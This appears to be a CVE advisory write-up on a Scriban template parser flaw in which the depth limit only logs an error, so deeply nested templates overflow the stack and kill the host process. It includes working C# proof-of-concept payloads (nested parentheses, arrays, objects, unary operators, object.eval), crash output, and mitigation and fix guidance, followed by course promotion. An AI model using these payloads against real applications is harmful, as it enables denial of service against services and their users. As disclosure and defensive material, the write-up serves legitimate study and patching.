Listen to this Post
How the Mentioned CVE Works
The vulnerability resides in the Scriban template engine’s expression parser, specifically in the `EnterExpression()` method within src/Scriban/Parsing/Parser.Expressions.cs. This method is intended to guard against excessive recursion by incrementing an `_expressionDepth` counter and checking it against a configurable `ExpressionDepthLimit` (default 250). When the limit is exceeded, the code calls `LogError(…)` and sets a flag _isExpressionDepthLimitReached = true. However, `LogError` uses the default isFatal: false, meaning it merely appends a non-fatal error message to the parser’s message list and sets `HasErrors = true` — it does not throw an exception, return a sentinel value, or unwind the parse stack.
Critically, the `_isExpressionDepthLimitReached` flag is never read by any code path that would stop recursion. A full-repo search confirms the flag appears in only four places: the field declaration, a reset to false, the deduplication test inside EnterExpression(), and its assignment to true. There is no check of this flag in `ParseExpression` or any calling function. As a result, `ParseExpression` calls EnterExpression(), then proceeds directly into the token switch — parsing parentheses, array initializers, object initializers, or unary operators — and recursively calls itself for each nested level. The recursion depth is limited only by the native thread stack size, not by any application-level control.
A template with approximately 4,000 nested parentheses (on a default 1 MB stack) will exhaust the stack and trigger an uncatchable `StackOverflowException` in .NET, which immediately terminates the entire host process. This affects both Scriban-native (Template.Parse) and Liquid-compatible (Template.ParseLiquid) parsing modes, as they share the same expression parser. The same flawed guard renders the fixes for prior advisories GHSA-wgh7-7m3c-fx25 and GHSA-p6q4-fgr8-vx4p ineffective — the array-initializer path, for instance, was wrapped in EnterExpression()/LeaveExpression(), but because `EnterExpression()` only logs, the array path still overflows.
The vulnerability is reachable even without direct template injection: the `object.eval` / `object.eval_template` built-in functions re-parse a string argument at render time using Template.Parse(...). If an attacker can control the string passed to these functions, the process will crash during rendering, and the surrounding `try/catch` block cannot intercept the StackOverflowException.
DailyCVE Form
Platform: Scriban
Version: 6.6.0 – 7.2.0
Vulnerability: Uncontrolled recursion → StackOverflowException (DoS)
Severity: High (CVSS 7.5)
date: 2026-03-24
Prediction: 2026-04-15
What Undercode Say
Analytics & Bash Commands
Reproduce the crash with a minimal .NET console project dotnet new console -n ScribanPoc cd ScribanPoc dotnet add package Scriban --version 7.2.0
PoC Code (Program.cs)
using Scriban;
int n = 8000; // ~8 KB payload, overflows default 1 MB stack
string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";
Console.WriteLine($"Parsing template with {n} nested parentheses...");
Template.Parse(tpl); // <-- process terminates here with StackOverflowException
Console.WriteLine("Parse returned without crashing"); // never reached
Additional Confirmed Payloads
// Array initializers (GHSA-p6q4 path)
string tpl = "{{ " + new string('[', n) + "1" + new string(']', n) + " }}";
Template.Parse(tpl);
// Object initializers
var b = new StringBuilder();
for (int i = 0; i < n; i++) b.Append("{x:");
b.Append('1');
b.Append('}', n);
Template.Parse("{{ " + b + " }}");
// Unary operators
string tpl = "{{ " + new string('!', n) + "true" + " }}";
Template.Parse(tpl);
// Liquid syntax mode (same parser)
string tpl = "{{ " + new string('(', n) + "1" + new string(')', n) + " }}";
Template.ParseLiquid(tpl);
Runtime Exploit via `object.eval` (Trusted Outer Template)
using Scriban;
int n = 8000;
string deep = new string('(', n) + "1" + new string(')', n);
string outer = "{{ \"" + deep + "\" | object.eval }}";
var t = Template.Parse(outer);
Console.WriteLine($"Outer parsed. HasErrors = {t.HasErrors}");
try
{
t.Render(); // <-- crashes here; StackOverflowException cannot be caught
}
catch (Exception e)
{
Console.WriteLine($"Caught {e.GetType().Name}"); // never reached
}
Observed Output
Parsing template with 8000 nested parentheses (default ParserOptions)... Stack overflow. at Scriban.Parsing.Parser.ParseParenthesis() at Scriban.Parsing.Parser.ParseExpression(...) at Scriban.Parsing.Parser.ExpectAndParseExpression(...) at Scriban.Parsing.Parser.ParseParenthesis() ... (repeats until stack exhaustion)
Process exits with code 134 (SIGABRT) on Linux.
Exploit
An unauthenticated attacker can craft a template with ~8 KB of nested parentheses, array initializers, object initializers, or unary operators. When the application calls `Template.Parse()` or `Template.ParseLiquid()` on this input, the recursive-descent parser recurses thousands of levels deep, exhausts the native thread stack, and raises an uncatchable StackOverflowException. The .NET runtime immediately terminates the entire host process — no `try/catch` block can prevent this. The same outcome occurs if the attacker controls a string passed to `object.eval` / `object.eval_template` at render time, even when the outer template is fully trusted.
All Scriban versions 6.6.0 through 7.2.0 (current as of writing) are vulnerable. The `ExpressionDepthLimit` option (default 250) provides no protection because it only logs a non-fatal error and does not halt recursion.
Protection
Immediate Mitigation
- Do not expose `Template.Parse` or `Template.ParseLiquid` to untrusted input until a patched version is available.
- Avoid using `object.eval` / `object.eval_template` with user-controlled strings.
- Implement a request size limit (e.g., reject templates > 1 KB) as a temporary workaround — the 8 KB payload is small, but limiting size reduces the attack surface.
Permanent Fix (To Be Applied by Library Maintainers)
- Modify `EnterExpression()` to throw a parse exception or log with `isFatal: true` when the depth limit is exceeded, and ensure the parser unwinds immediately.
- Add a call to `RuntimeHelpers.EnsureSufficientExecutionStack()` at the entry of `ParseExpression()` to detect imminent stack exhaustion and throw a manageable exception.
- Add regression tests at depths that would overflow without the fix (e.g., 100,000 nested levels) to verify the guard actually stops recursion, rather than only testing `HasErrors` at depth 20.
Workaround for Host Applications
- Run the template parsing in a separate, isolated process that can be restarted if it crashes.
- Use AppDomain or process-level isolation to contain the impact of a crash.
Impact
- Type: Denial of Service (CWE-674: Uncontrolled Recursion) leading to uncatchable `StackOverflowException` and full process termination.
- CVSS 3.1 Score: 7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
- Affected Versions: Scriban 6.6.0 through 7.2.0 (all versions shipping the depth-limit guard). Earlier versions are also vulnerable to the original unbounded recursion.
- Who is Impacted: Any application that parses attacker-influenced templates via `Template.Parse` /
Template.ParseLiquid, or passes attacker-controlled strings to `object.eval` /object.eval_template. This includes CMS platforms, email templating systems, report generators, and any service that uses Scriban with untrusted input. - Why Existing Mitigation Fails: The `ExpressionDepthLimit` is advisory only — it records an error but does not stop recursion. Because the exception is a
StackOverflowException, callers cannot defend with `try/catch` — the process is lost immediately.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

